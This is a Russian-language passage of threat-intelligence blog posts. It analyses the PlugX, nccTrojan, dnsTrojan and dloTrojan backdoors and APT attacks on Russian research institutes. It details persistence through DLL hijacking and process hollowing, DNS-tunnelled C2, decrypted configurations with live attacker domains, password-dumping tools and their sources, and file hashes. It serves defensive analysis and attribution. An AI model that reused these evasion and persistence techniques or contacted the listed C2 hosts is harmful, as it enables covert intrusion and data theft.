В зависимости от конфигурации вредоносная программа может также попытаться создать процесс с повышенными привилегиями с последующим внедрением в него кода. В конфигурации могут быть перечислены до четырех целевых процессов.


Функциональность плагинов PlugX и исполняемые команды


Основная функциональность бэкдора реализована с помощью так называемых плагинов. Фрагмент функции, в которой производится инициализация плагинов, приведен на рис. 5.



Рис. 5. Фрагмент инициализации плагинов PlugX


PlugX может управлять процессами и службами, работать с файловой системой, вносить изменения в реестр. Он также имеет компоненты кейлоггера и скринлоггера и может получать удаленный доступ к зараженной системе все это дает обширные возможности злоумышленникам в скомпрометированной сети.


Полный перечень функций вредоносной программы, доступной через плагины, приведен в табл. 3.


Табл. 3. Функциональность PlugX, доступная через плагины


Плагин Команда Функциональные возможности
DISK 
0x3000
Собрать информацию по всем дискам (тип и свободное пространство) 
0x3001
Перечислить файлы в директории 
0x3002
Перечислить файлы 
0x3004
Прочитать файл 
0x3007
Создать директорию и сохранить в нее файл 
0x300A
Создать директорию 
0x300C
Создать новый рабочий стол и запустить процесс 
0x300D
Копировать, переместить, переименовывать или удалить файл 
0x300E
Получить значение переменной окружения
KeyLogger 
0xE000
Отправить данные кейлоггера на сервер управления
Nethood 
0xA000
Перечислить сетевые ресурсы 
0xA001
Установить соединение с сетевым ресурсом
Netstat 
0xD000
Получить таблицу TCP 
0xD001
Получить таблицу UDP 
0xD002
Установить состояние TCP
Option 
0x2000
Заблокировать экран компьютера 
0x2001
Отключить компьютер (принудительно) 
0x2002
Перезагрузить компьютер 
0x2003
Отключить компьютер (безопасно) 
0x2005
Показать окно с сообщением
PortMap 
0xB000
Возможно, запустить маппинг портов
Process 
0x5000
Получить информацию о процессах 
0x5001
Получить информацию о процессе и модулях 
0x5002
Завершить процесс
Regedit 
0x9000
Перечислить подразделы ключа реестра 
0x9001
Создать ключ реестра 
0x9002
Удалить ключ реестра 
0x9003
Скопировать ключ реестра 
0x9004
Перечислить значения ключа реестра 
0x9005
Задать значение ключа реестра 
0x9006
Удалить значение из ключа реестра 
0x9007
Получить значение из ключа реестра
Screen 
0x4000
Использовать удаленный рабочий стол 
0x4100
Сделать скриншот 
0x4200
Найти скриншоты в системе
Service 
0x6000
Получить информацию о сервисах в системе 
0x6001
Изменить конфигурацию сервиса 
0x6002
Запустить сервис 
0x6003
Управлять сервисом 
0x6004
Удалить сервис
Shell 
0x7002
Запустить cmd-шелл
SQL 
0xC000
Получить список баз данных 
0xC001
Получить список описаний драйверов 
0xC002
Выполнить SQL-команду
Telnet 
0x7100
Настроить Telnet

Фрагмент функции обработки команд, полученных от сервера управления приведена на рис. 6.



Рис. 6. Команды сервера управления, которые получает PlugX


Описание команд приведено в табл. 4.


Табл. 4. Команды сервера управления, которые получает PlugX


Команда Описание
0x1 Отправить на сервер управления данные о зараженной системе:
имя компьютера;
имя пользователя;
информация о CPU;
текущее использование памяти системой;
информация об операционной системе;
системные дата и время;
системная информация;
язык системы
0x5 Самоудалиться (удалить службу, очистить реестр)
0x3 Передать команды плагинам со сменой протокола взаимодействия
0x6 Отправить текущую конфигурацию PlugX на сервер управления
0x7 Получить с сервера управления новую конфигурацию и обновить текущую
0x8 Отправить список процессов с внедренным шелл-кодом
default Передать команды плагинам

nccTrojan


Один из обнаруженных нами бэкдоров найден в отчете VIRUS BULLETIN и назван авторами nccTrojan по константному значению в коде основного пейлоада. Характеристики попавшегося нам образца малвари приведены в табл. 5.


Табл. 5. Свойства анализируемого образца nccTrojan
Свойство EXE DLL
Имя файла instsrv.exe windowsreskits.dll
Тип файла PE32 executable (EXE) PE32 executable (DLL)
Размер (в байтах) 83 968 514 048
Время компиляции 18 декабря 2019 года 03:13:03 21 марта 2020 года 15:19:04
MD5 c999b26e4e3f15f94771326159c9b8f9 056078b1c424667e6a67f9867627f621
SHA-1 ec12c469463029861bd710aec3cb4a2c01907ad2 5bd080285a09c0abf742fb50957831310d9d9769
SHA-256 07d728aa996d48415f64bac640f330a28e551cd565f1c5249195477ccf7ecfc5 3be516735bafbb02ba71d56d35aee8ce2ef403d08a4dc47b46d5be96ac342bc9

Запуск nccTrojan


Вредоносная программа состоит из двух файлов: EXE и DLL, но в данном случае техника DLL hijacking не используется. После запуска вредоносный EXE-файл (MD5: c999b26e4e3f15f94771326159c9b8f9) регистрирует библиотеку windowsreskits.dll (MD5: 056078b1c424667e6a67f9867627f621) в качестве сервиса. В зависимости от разрядности библиотеки ее файл копируется в одну из директорий:


  • %SystemRoot%\System32;
  • %SystemRoot%\SysWOW64 .

В результате создается сервис с именем WindowsResKits, работающий в контексте процесса svchost.exe.


Работа nccTrojan


nccTrojan расшифровывает конфигурацию, хранящуюся по определенному смещению в оверлее. Конфигурация зашифрована с помощью алгоритма AES-CFB-256, он же используется для шифрования взаимодействия с сервером управления. Пары ключ шифрования + вектор инициализации захардкоржены и различны для шифрования конфигурации и взаимодействия с сервером управления.


Расшифрованная конфигурация содержит информацию о сервере управления и выглядит следующим образом:


***news.niiriip.com|#|none|#|none|#|443|#|none|#|none|#|passwd|#|ncc|#|v2.2[Service]***


Строка v2_2[Service], вероятнее всего, характеризует версию вредоносной программы и также используется в качестве имени при создании мьютекса.


В зависимости от конфигурации nccTrojan может иметь до трех серверов управления. В исследуемом экземпляре вредоносной программы задан лишь один сервер управления news.niiriip[.]com, а поля конфигурации под оставшиеся два заполнены none.


Дальнейшее взаимодействие осуществляется только в случае получения с сервера управления пакета, который после расшифровывания содержит строку ncc.


Если соединение установлено, то на сервер управления отправляется следующая информация:


  • имя компьютера,
  • контрольная сумма от отправляемых данных,
  • имя пользователя,
  • уровень привилегий пользователя в системе (SYSTEM, Administrator или User),
  • IP-адреса зараженной системы,
  • идентификатор версии операционной системы,
  • язык системы.

При этом из собранных данных формируется строка, которая дальше зашифровывается и отправляется на сервер управления. Формат создаваемой строки:


passwd|#|<check_sum>|#|<computer_name>|#|<user_name>|#|<user_privilege>|#|<ip_addr_1 / ip_addr_2 / ...>|#|None|#|v2.2[Service]|#|<os_version_ID>|#|<language_ID>


Далее вредоносная программа переходит к взаимодействию с сервером управления и может исполнять команды, приведенные в табл. 6.


Табл. 6. Команды, исполняемые nccTrojan


Команда Назначение
0x2 Запустить сmd-шелл
0x3 Выполнить команду через cmd-шелл
0x4 Записать данные в файл
0x5 Получить информацию о дисках C-Z (тип, свободный объем памяти)
0x6 Получить информацию о файлах
0x8 Запустить процесс
0xA Удалить файл или директорию
0xC Прочитать файл
0xF Проверить наличие файла
0x11 Сохранить файл
0x13 Получить список запущенных процессов
0x15 Завершить процесс
0x17 Скопировать файл
0x1A Переместить файл
0x1D Запустить cmd-шелл с правами пользователя

dnsTrojan


Следующий бэкдор мы обнаружили впервые: на момент расследования мы не нашли упоминаний о нем в отчетах других экспертов. Его отличительная особенность общение с сервером управления через DNS. В остальном по своей функциональности вредоносная программа схожа с бэкдором nccTrojan. Чтобы сохранить единообразие в названиях найденной малвари, назвали ее dnsTrojan.


В рамках инцидента обнаружен CAB-архив, содержащий вредоносный исполняемый файл (MD5: a3e41b04ed57201a3349fd42d0ed3253). Характеристики образца, который мы вытащила в ходе расследования, приведены в табл. 7.


Табл. 7. Свойства анализируемого образца dnsTrojan
Свойство EXE
Имя a.exe.ok
Тип файла PE32 executable (EXE)
Размер (в байтах) 417 280
Время компиляции 13 октября 2020 года 20:05:59
MD5 a3e41b04ed57201a3349fd42d0ed3253
SHA-1 172d9317ca89d6d21f0094474a822720920eac02
SHA-256 826df8013af53312e961838d8d92ba24de19f094f61bc452cd6ccb9b270edae5

Запуск dnsTrojan


В файле захардкоржена строка AB0d3d3MS5kb3RvbWF0ZXIuY2x1Yjsw, которая является некоей конфигурацией. Вредоносная программа проверяет внутри этой строки третий байт и в зависимости от его значения выбирает свою рабочую директорию и некоторую функциональность:


  • b"30" ('0') вредоносная программа работает в своей текущей директории, в реестр не прописывается, по завершении исполнения все созданные в процессе функционирования файлы: LiveUpdate.exe, ccL100U.dll и сам исполняемый файл удаляются (конфигурация анализируемого образца);
  • b"31" ('1') вредоносная программа работает в %AppData%\Sep, прописывается в реестре, по завершении исполнения удаляется только сам исполняемый файл.

Подстрока d3d3MS5kb3RvbWF0ZXIuY2x1Yjsw представляет собой закодированную в base64 конфигурацию сервера управления www1.dotomater.club;0.


После запуска вредоносная программа извлекает из ресурсов, распаковывает и сохраняет в рабочей директории два файла:


  • LiveUpdate.exe (MD5: 1a7f595ba8c28974619582040dcad404),
  • ccL100U.dll (MD5: 0697433432d209c1ed95f6f75a111234).

Далее запускается файл LiveUpdate.exe, имеющий цифровую подпись Symantec Corporation.


В этом случае злоумышленники снова используют технику DLL hijacking: легитимная DLL заменяется на вредоносную ccL100U.dll. В результате исполнения кода библиотеки из ее ресурсов извлекается и распаковывается код самого бэкдора, который внедряется и исполняется в памяти легитимного процесса dllhost.exe. Для внедрения кода применяется техника Process Hollowing.


Если вредоносная программа прописывается в реестр, в ключ реестра HKCU\Environment добавляется параметр UserInitMprLogonScript со значением %AppData%\Roaming\Sep\LiveUpdate.exe.


Работа dnsTrojan


Все свои действия вредоносная программа логирует в файл %ProgramData%\logD.dat, при этом записанные данные похожи на отладочную информацию для злоумышленников (рис. 7).



Рис. 7. Фрагмент файла logD.dat


Закодированная в base64 конфигурация содержит адреса сервера управления и DNS-сервера. В текущем семпле раскодированная конфигурация выглядит так: www1.dotomater.club;0, то есть адрес конкретного DNS-сервера злоумышленников отсутствует, а для взаимодействия с сервером управления используется DNS-сервер зараженной системы.


Взаимодействие с сервером управления осуществляется с использованием DNS-туннелирования. Данные передаются серверу управления в виде DNS-запроса TXT-записи в зашифрованном виде.


Сразу после запуска на сервер управления отправляются следующие данные:


  • имя компьютера,
  • имя пользователя,
  • текущие дата и время,
  • версия операционной системы,
  • информация о сетевом адаптере,
  • архитектура процессора.

Из них формируется сообщение вида 8SDXCAXRZDJ;O0V2m0SImxhY;6.1.1;1;00-13-d2-e3-d6-2e;2020113052831619.


Все передаваемые на сервер управления данные преобразуются следующим образом:


  • шифруются с помощью алгоритма AES-128-CBC, ключ шифрования вырабатывается из константной строки dadadadadadadada с помощью функции CryptDeriveKey();
  • кодируются в base64.

При формировании домена, для которого запрашивается TXT-запись, после каждого 64-го символа ставится точка. Запросы, отправляемые вредоносной программой, можно увидеть на рис. 8.



Рис. 8. Пример трафика вредоносной программы dnsTrojan

В ответ на запрос, отправленный на предыдущем шаге из TXT-записей, dnsTrojan получает команды сервера и может исполнить их (табл. 8).


Табл. 8. Команды, исполняемые dnsTrojan
Команда Назначение
0x1 Получить онлайн-данные
0x2 Запустить сmd-шелл
0x3 Выполнить команду через cmd-шелл
0x4 Получить информацию о дисках CZ (тип, свободный объем памяти) или файлах
0x6 Прочитать файл
0x7 Скопировать файл
0x8 Удалить файл
0x9 Проверить наличие файла
0xA Сохранить файл
0xB Установить время бездействия программы (в минутах)
0xD Самоудалиться (очистить реестр)

dloTrojan


dloTrojan еще одна обнаруженная в процессе расследования вредоносная программа, которую мы классифицировали как бэкдор. Эта малварь не относится ни к одному из известных семейств вредоносов.


В процессе исполнения кода расшифровывается строка dlo, поэтому по аналогии с предыдущими двумя программами мы назвали ее dloTrojan.


Характеристики файлов исследуемого нами образца приведены в табл. 9.


Табл. 9. Свойства анализируемого экземпляра dloTrojan
Свойство EXE DLL
Имя ChromeFrameHelperSrv.exe chrome_frame_helper.dll
Тип файла PE32 executable (EXE) PE32 executable (DLL)
Размер (в байтах) 82 896 240 128
Время компиляции 12 июля 2013 года 19:11:41 14 сентября 2020 года 16:34:44
MD5 55a365b1b7c50887e1cb99010d7c140a bd23a69c2afe591ae93d56166d5985e1
SHA-1 6319b1c831d791f49d351bccb9e2ca559749293c 3439cf6f9c451ee89d72d6871f54c06cb0e0f1d2
SHA-256 be174d2499f30c14fd488e87e9d7d27e0035700cb2ba4b9f46c409318a19fd97 f0c07f742282dbd35519f7531259b1a36c86313e0a5a2cb5fe1dadcf1df9522d

Запуск dloTrojan


На сцену опять выходит DLL hijacking.


Итак, вредоносная программа dloTrojan состоит из двух компонентов:


  • ChromeFrameHelperSrv.exe невредоносный исполняемый файл (EXE), имеющий цифровую подпись Google Inc.,
  • chrome_frame_helper.dll вредоносная динамическая библиотека (DLL).

После запуска исполняемого EXE-файла подгружается код вредоносной DLL. При этом библиотека проверяет имя процесса, в который она загружена, и оно должно соответствовать имени ChromeFrameHelperSrv.exe. В противном случае, вредоносный код завершит свое исполнение.


Далее библиотека расшифровывает вредоносный исполняемый файл, код которого внедряется в еще один запущенный процесс ChromeFrameHelperSrv.exe с использованием техники Process Hollowing.


Работа dloTrojan


Вредоносная программа пытается получить данные значения с именем TID из одного из двух ключей реестра (это зависит от имеющихся привилегий в системе):


  • HKLM\Software\VS,
  • HKCU\Software\VS.

Если же значение в реестре отсутствует, создается один из указанных ключей реестра. В параметре TID прописывается строка из 16 произвольных символов, которую в дальнейшем можно рассматривать как ID зараженной системы.


Далее dloTrojan проверяет наличие подключения к сети в зараженной системе. Для этого она пытается установить соединение с www.microsoft[.]com.


Строки во вредоносной программе зашифрованы методом простого сложения по модулю двух с одним байтом (отличается для различных строк).


Затем малварь расшифровывает адрес сервера управления. В зависимости от конфигурации вредоносная программа может иметь несколько адресов, в текущей конфигурации адрес сервера управления один.


Теперь dloTrojan устанавливает соединение с сервером управления. Если подключиться к серверу не удалось, малварь пытается найти настроенные прокси-серверы одним из способов:


  • вызывает функцию InternetQueryOptionA() с параметром INTERNET_OPTION_PROXY и получает список доступных прокси-серверов;
  • достает из реестра HKEY_USERS\<user_SID>\Software\Microsoft\Windows\CurrentVersion\Internet Settings из параметра ProxyServer.

Далее на сервер управления отправляется следующая информация о зараженной системе:


  • имя компьютера,
  • имя пользователя;
  • IP-адреса зараженной системы,
  • сведения о версии операционной системы,
  • принадлежность компьютера к рабочей группе или домену,
  • идентификатор оригинального производителя оборудования результат работы функции GetOEMCP(),
  • ID, хранимый в реестре.

Данные передаются на сервер управления в зашифрованном виде.


В конце концов вредоносная программа получает возможность исполнять команды сервера управления: запускать cmd-шелл, создавать и удалять файлы, собирать информацию о дисках.


Перечень возможных команд приведен в табл. 10.


Табл. 10. Команды, исполняемые dloTrojan


Команда Назначение
0x1 Получить количество миллисекунд, прошедших с момента запуска системы
0x2 Запустить сmd-шелл
0x3 Выполнить команду через cmd-шелл
0x4 Закрыть cmd-шелл
0x5 Проверить существование файла. Если файла нет, создать его
0x6 Создать файл
0x7 Получить данные файла (размер, временные метки)
0x8 Прочитать файл
0x9 Получить информацию о дисках CZ (тип, объем свободной памяти)
0xA Перечислить файлы
0xB Удалить файл
0xC Переместить файл
0xD Запустить процесс
0xE Сделать скриншот
0xF Перечислить сервисы
0x10 Запустить сервис
0x11 Перечислить процессы и модули
0x12 Завершить процесс, затем перечислить процессы и модули
0x13 Закрыть сокет

И еще несколько программ, которые мы раскопали в ходе расследования


Вернемся к общедоступным утилитам, найденным на зараженных системах. С их помощью можно залезть в систему, утащить конфиденциальные данные и выполнить другие вредоносные действия. Ловите краткое описание каждой.


GetPassword


GetPassword предназначена для получения паролей из зараженной системы. Раньше исходный код утилиты лежал в репозитории MimikatzLite, но сейчас его почему-то удалили. Можем только поделиться скриншотом на рис. 9.



Рис. 9. Скриншот работы утилиты GetPassword


Quarks PwDump


Еще одна утилита для извлечения паролей из ОС Windows.


Исходный код можно найти в репозитории 0daytool-quarkspwdump. Скриншот утилиты приведен на рис. 10.



Рис. 10. Скриншот работы утилиты Quarks PwDump


wpmd v 2.3 (beta)


wpmd (windows password and masterkey decrypt) также предназначена для получения паролей в ОС Windows. Увы, источник мы не нашли, поэтому можем только показать скриншот (рис. 11).



Рис. 11. Скриншот работы утилиты wpmd v 2.3 (beta)


os.exe


os.exe позволяет определить версию ОС Windows (рис. 12). Источник тоже не найден :(



Рис. 12. Скриншот работы утилиты os.exe


nbtscan 1.0.35


nbtscan утилита командной строки, предназначенная для сканирования открытых серверов имен NETBIOS в локальной или удаленной TCP/IP-сети. Она обеспечивает поиск открытых общих ресурсов (рис. 13). Доступна на ресурсе Unixwiz.net.



Рис. 13. Скриншот работы утилиты nbtscan


Это расследование в очередной раз убедило нас, что даже заезженные и понятные техники способны доставить жертвам много неприятностей. Злоумышленники могут годами копаться в IT-инфраструктуре жертвы, которая и подозревать ничего не будет. Думаем, выводы вы сделаете сами :)


Напоследок хотим поделиться индикаторами компрометации:

PlugX (SHA256: EXE, DLL, Shell-code)


3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe2f81cf43ef02a4170683307f99159c8e2e4014eded6aa5fc4ee82078228f6c3c0c831e5c3aecab14fe98ff4f3270d9ec1db237f075cd1fae85b7ffaf0eb2751e94004d84edf72720b270a49bf673c98aba2e4da65dc5a8542566cec073ee7812e3fcb055cf50884a192aca2f958f899eb0033c1a1b923deb7d56baaca9d7122d55efc36799631f12f54dfa574aafa1c8e1d4d1b659c159253987d24fecc3218518a98c2d905a1da1d9d855e86866921e543f4bf8621faea05eb14d8e5b23b60c68d58f68591a8306b15de98913897a34bc96ffc6db10e4113144cc54aaa0dda45697c9086fd5abd030ceb937c396c6893ecc8d4a848785fac61ce13d5740edca3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe97ad6e95e219c22d71129285299c4717358844b90860bb7ab16c5178da3f168681e53c7d7c8aa8f98c951106a656dbe9c931de465022f6bafa780a6ba96751eb

PlugX-executor: (SHA256: EXE)


2f73a3c7fa58d93d60d3011724af2c7beddc39469c0613ce097657849ab32e8243f1bd29811393476320542473d6c1dedea172a62ccf1a876a04a53ed876f3a4

nccTrojan (SHA256: EXE, DLL)


07d728aa996d48415f64bac640f330a28e551cd565f1c5249195477ccf7ecfc53be516735bafbb02ba71d56d35aee8ce2ef403d08a4dc47b46d5be96ac342bc9

dnsTrojan (SHA256: EXE)


826df8013af53312e961838d8d92ba24de19f094f61bc452cd6ccb9b270edae5

dloTrojan (SHA256: EXE, DLL)


be174d2499f30c14fd488e87e9d7d27e0035700cb2ba4b9f46c409318a19fd97f0c07f742282dbd35519f7531259b1a36c86313e0a5a2cb5fe1dadcf1df9522d
Подробнее..
Категории: Информационная безопасность , Реверс-инжиниринг , Антивирусная защита , Бэкдоры , Блог компании bi.zone , Вредоносное по , Анализ вредоносов , Plugx

Исследование целевых атак на российские НИИ

02.04.2021 14:12:19 | Автор: admin

В конце сентября 2020 года в вирусную лабораторию Доктор Веб за помощью обратился один из российских научно-исследовательских институтов. Сотрудники НИИ обратили внимание на ряд технических проблем, которые могли свидетельствовать о наличии вредоносного ПО на одном из серверов локальной сети. В ходе расследования мы установили, что на НИИ была осуществлена целевая атака с использованием ряда специализированных бэкдоров. Изучение деталей инцидента показало, что сеть института была скомпрометирована задолго до обращения к нам и, судя по имеющимся у нас данным, не одной APT-группой.

В этой статье мы восстановим хронологию заражения сети, идентифицируем обнаруженные бэкдоры и обратим внимание на выявленные пересечения в их коде и сетевой инфраструктуре. Также мы попробуем ответить на вопрос: кто стоит за атаками?

Восстанавливаем события

Мы считаем, что найденные в сети бэкдоры принадлежат двум разным хакерским группировкам. Для удобства обозначим их как APT-группа 1 и APT-группа 2.

В ходе расследования было установлено, что APT-группа 1 скомпрометировала внутреннюю сеть института осенью 2017 года. Первичное заражение осуществлялось с помощьюBackDoor.Farfli.130 модификации бэкдора, также известного как Gh0st RAT. Позднее, весной 2019 года в сети был установлен Trojan.Mirage.12, а в июне 2020 BackDoor.Siggen2.3268.

APT-группа 2 скомпрометировала сеть института не позднее апреля 2019, и в этот раз заражение началось с установки бэкдораBackDoor.Skeye.1. В процессе работы мы также выяснили, что примерно в то же время в мае 2019 года Skeye был установлен в локальной сети другого российского НИИ.

Тем временем в июне 2019 года компания FireEye опубликовала отчет о целевой атаке на государственный сектор ряда стран центральной Азии с использованием Skeye. Позднее, в период с августа по сентябрь 2020 года вирусные аналитики Доктор Веб зафиксировали установку различных троянов APT-группой 2 в сети пострадавшего НИИ, включая ранее не встречавшийся DNS-бэкдорBackDoor.DNSep.1, а также хорошо известный BackDoor.PlugX.

Более того, в декабре 2017 года на серверы НИИ был установленBackDoor.RemShell.24. Представители этого семейства ранее были описаны специалистами Positive Technologies в исследовании Operation Taskmasters. При этом мы не располагаем такими данными, которые позволили бы однозначно определить, какая из двух APT-групп использовала этот бэкдор.

Кто стоит за атаками?

Деятельность первой APT-группы не позволяет нам однозначно идентифицировать атаковавших как одну из ранее описанных хакерских группировок. При этом анализ используемых вредоносных программ и инфраструктуры показал, что эта группа активна как минимум с 2015 года.

Второй APT-группой, атаковавшей НИИ, по нашему мнению является TA428, ранее описанная исследователями компании Proofpoint в материале Operation Lag Time IT. В пользу нашего вывода говорят следующие факты:

1) в коде бэкдоров BackDoor.DNSep и BackDoor.Cotx имеются явные пересечения и заимствования;

2) BackDoor.Skeye.1 и Trojan.Loader.661 использовались в рамках одной атаки, при этом последний является известным инструментом TA428;

3) бэкдоры, проанализированные нами в рамках этих атак, имеют пересечения в адресах управляющих серверов и сетевой инфраструктуре с бэкдорами, используемыми группировкой TA428.

Теперь подробнее рассмотрим выявленные связи. На графе приведена часть задействованной в атаке инфраструктуры с пересечениями бэкдоров Skeye и другим известным APT-бэкдором PosionIvy:

связей много, поэтому пожалуйста, масштабируйте, спасибо :)связей много, поэтому пожалуйста, масштабируйте, спасибо :)

На этом графе изображены пересечения в инфраструктуре бэкдоров Skeye и Cotx:

Детальный анализ бэкдора DNSep и его последующее сравнение с кодом бэкдора Cotx выявили сходство как в общей логике обработки команд от управляющего сервера, так и в конкретных реализациях отдельных команд. Мы рассмотрим их ниже.

Другой интересной находкой этого исследования стал бэкдор Logtu, один из его образцов мы ранее описывали в рамках расследования инцидента в Киргизии. Адрес его управляющего сервера совпал с адресом сервера бэкдора Skeye atob[.]kommesantor[.]com. В связи с этим мы также провели сравнительный анализ BackDoor.Skeye.1 с образцами BackDoor.Logtu.1 и BackDoor.Mikroceen.11.

Подробный разбор алгоритмов работы найденных бэкдоров читайте в нашем исследовании на сайте.

Сравнительный анализ кода DNSep и Cotx

Несмотря на то, что каналы связи с управляющим сервером у Cotx и DNSep кардинально различаются, нам удалось найти интересные совпадения в коде обоих бэкдоров.

Функция, отвечающая за обработку команд от управляющего сервера, принимает аргументом структуру:

structst_arg{_BYTE cmd;st_string arg;};

При этом, если нужная функция принимает несколько аргументов, то они все записаны в поле arg с разделителем |.

Набор команд BackDoor.Cotx.1 обширнее, чем у BackDoor.DNSep.1, и включает все команды, которые есть у последнего.

Ниже видно почти полное совпадение кода некоторых функций бэкдоров. При этом следует учитывать, в Cotx используется кодировка Unicode, а в DNSep ANSI.

Обработчик команды на отправку листинга каталога или информации о диске

BackDoor.DNSep.1BackDoor.DNSep.1BackDoor.Cotx.1BackDoor.Cotx.1

Функция получения информации о дисках

BackDoor.DNSep.1BackDoor.DNSep.1BackDoor.Cotx.1BackDoor.Cotx.1

Функция перечисления файлов в папке

BackDoor.DNSep.1BackDoor.DNSep.1BackDoor.Cotx.1BackDoor.Cotx.1

Функция сбора информации о файлах в папке

BackDoor.DNSep.1BackDoor.DNSep.1BackDoor.Cotx.1BackDoor.Cotx.1

Полученные в результате анализа данные позволяют предположить, что при создании бэкдора DNSep его автор имел доступ к исходным кодам Cotx. Поскольку эти ресурсы не являются общедоступными, мы предполагаем, что автор или группа авторов DNSep имеет отношение к группировке TA428. В пользу этой версии говорит и тот факт, что образец DNSep был найден в скомпрометированной сети пострадавшей организации вместе с другими известными бэкдорами TA428.

Сравнительный анализ кода бэкдоров Skeye, Mikroceen, Logtu

В процессе исследования бэкдора Skeye мы обнаружили, что адрес его управляющего сервера также используется бэкдором семейства Logtu. Для сравнительного анализа мы использовали ранее описанные нами образцы BackDoor.Logtu.1 и BackDoor.Mikroceen.11.

Функции логирования

Логирование во всех случаях так или иначе обфусцировано.

  • BackDoor.Mikroceen.11 сообщения в формате %d-%d-%d %d:%d:%d <msg>\r\n записываются в файл %TEMP%\WZ9Jan10.TMP, где <msg> случайная текстовая строка. В образце 2f80f51188dc9aea697868864d88925d64c26abc сообщения записываются в файл 7B296FB0.CAB;

  • BackDoor.Logtu.1 сообщения в формате [%d-%02d-%02d %02d:%02d:%02d] <rec_id> <error_code>\n<opt_message>\n\n перед записью в файл %TEMP%\rar<rnd>.tmp шифруются операцией XOR с ключом 0x31;

  • BackDoor.Skeye.1 сообщения в формате %4d/%02d/%02d %02d:%02d:%02d\t<rec_id>\t<error_code>\n записываются в файл %TEMP%\wcrypt32.dll.

Общая логика последовательности записи сообщений в журнал также схожа у всех трех образцов:

  • начало исполнения фиксируется;

  • в Logtu и Mikroceen в журнал записывается прямое подключение к управляющему серверу;

  • в каждом случае указывается, через какой прокси выполнено подключение к серверу;

  • в случае ошибки на этапе получения прокси из того или иного источника в журнале фиксируется отдельная запись.

Следует заметить, что настолько подробное и при этом обфусцированное логирование встречается крайне редко. Обфускация заключается в том, что в журнал записываются некоторые коды сообщений и в ряде случаев дополнительные данные. Кроме того, в данном случае прослеживается общая схема последовательности записи событий:

  • начало исполнения;

  • попытка подключения напрямую;

  • получение адресов прокси;

  • запись о подключении через тот или иной сервер.

Поиск прокси-сервера

Последовательность соединения с управляющим сервером также выглядит похожей у всех 3 образцов. Первоначально каждый бэкдор пытается подключиться к серверу напрямую, а в случае неудачи может использовать прокси-серверы, адреса которых находятся из трех источников помимо встроенного.

Получение адресов прокси-серверов BackDoor.Mikroceen.11:

  • из файла %WINDIR%\debug\netlogon.cfg;

  • из собственного лог-файла;

  • путем поиска соединений с удаленными хостами через порты 80, 8080, 3128, 9080 в TCP-таблице.

Поиск прокси в своем лог-файле:

Поиск в активных соединениях:

Получение адресов прокси-серверов BackDoor.Logtu.1:

  • из реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer;

  • из раздела HKU реестра по SID активного пользователя;

  • с помощью WinHTTP API WinHttpGetProxyForUrl путем запроса к google.com.

Получение адресов прокси-серверов BackDoor.Skeye.1:

  • из раздела HKCU Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer;

  • из раздела HKU по SID активного пользователя;

  • путем поиска соединений с удаленными хостами через порты 80, 8080, 3128, 9080 в TCP-таблице.

Пересечения в сетевой инфраструктуре

Некоторые образцы совместно использовали одну и ту же сетевую инфраструктуру. Фрагмент графа наглядно показывает взаимосвязь между семействами.

масштабируйте страничку, спасибомасштабируйте страничку, спасибо

Идентификаторы

В образцах Logtu и Mikroceen присутствуют строки, которые используются в качестве идентификаторов сборок или версий. Формат некоторых из них совпадает.

BackDoor.Mikroceen.11

BackDoor.Logtu.1

SHA1

Id

SHA1

id

ce21f798119dbcb7a63f8cdf070545abb09f25ba

intl0113

029735cb604ddcb9ce85de92a6096d366bd38a24

intpz0220

0eb2136c5ff7a92706bc9207da32dd85691eeed5

hisa5.si4

7b652e352a6d2a511f226e4d0cc22f093e052ad8

retail2007

2f80f51188dc9aea697868864d88925d64c26abc

josa5w5n

1c5e5fd53fc2ee778342a5cae3ac2eb0ac345ed7

retail

2e50c075343ab20228a8c0c094722bbff71c4a2a

enc0225

00ddcc200d1031b8639026532c0087bfcc4520c9

716demo

3bd16f11b5b3965a124a6fc3286297e5cfe77715

520299

b599797746ae8ccf7907cf88de232faa30ec95e6

gas-zhi

5eecdf63e85833e712a1ff88df1341bbf32f4ab8

Strive

2d672d7818a56029b337e8792935195d53576a9d

jjlk

bd308f4d1a32096a3b90cfdae45bbc5c13e5e801

R0916

b1be4b2f874c8309f553acce90287c8c6bb2b6b1

frsl.1ply

21ffd24b8074d7cffdf4cc339d1fa8fe892eba27

Wdv

8fbec09e646311a285aee06b3dd45ccf58928703

intz726

19921cc47b3de003186e65fd12b82235030f060d

122764

0f70251abc8c64cbc7b24995c3d32927514d0a4b

V20180224

149947544ca4f7baa5bc3d00b080d0e943d8036b

SOE

e7f5a33b33e023a82ac9eee6ed40e4a38ce95277

int815

b4790eec7daa9f931bed43a53f66168b477599a7

UOE

ab660a3ac46d563c756463bd1b64cc45f347a1f7

B.Z11NOV20D

d0181759a175fbcc60975983b351f88970f484f9

299520

7a63fc9db2bc1e9b1ef793723d5877e6b4c566b8

WinVideo

13779006d0dafbe4b27bd282230df299eef2b8dc

SSLSSL

f53c77695a162c78c68f693f57f65752d17f6030

int007server

924341cab6106ef993b506193e6786e459936069

intl1211

8ebf78c84cd7f66ca8708467a28d83658bcf6710

intl821

f2856d7d138430e164f83662e251ee311950d83c

intl821

Кроме того, в значительном числе образцов данный идентификатор равен значению TEST или test.

Пример в BackDoor.Logtu.1 (9ea2488f07bf3edda23d9b7759c2d0c3c8501f92):

Пример в BackDoor.Mirkoceen.11 (81bb895a833594013bc74b429fb1f24f9ec9df26):

Таким образом, сравнительный анализ выявил у рассмотренных семейств сходства в:

  • логике ведения журнала событий и его обфускации;

  • логике подключения к управляющему серверу и алгоритмах поиска адресов прокси;

  • используемой сетевой инфраструктуре.

Заключение

В ходе расследования атак на российские НИИ наши вирусные аналитики нашли и описали несколько семейств целевых бэкдоров, включая ранее неизвестные образцы. Следует отдельно отметить длительное скрытое функционирование вредоносных программ в скомпрометированной сети пострадавшей организации несанкционированное присутствие первой APT-группы оставалось незамеченным с 2017 года.

Характерной особенностью является наличие пересечений в коде и сетевой инфраструктуре проанализированных образцов. Мы допускаем, что выявленные связи указывают на принадлежность рассмотренных бэкдоров к одним и тем же хакерским группировкам.

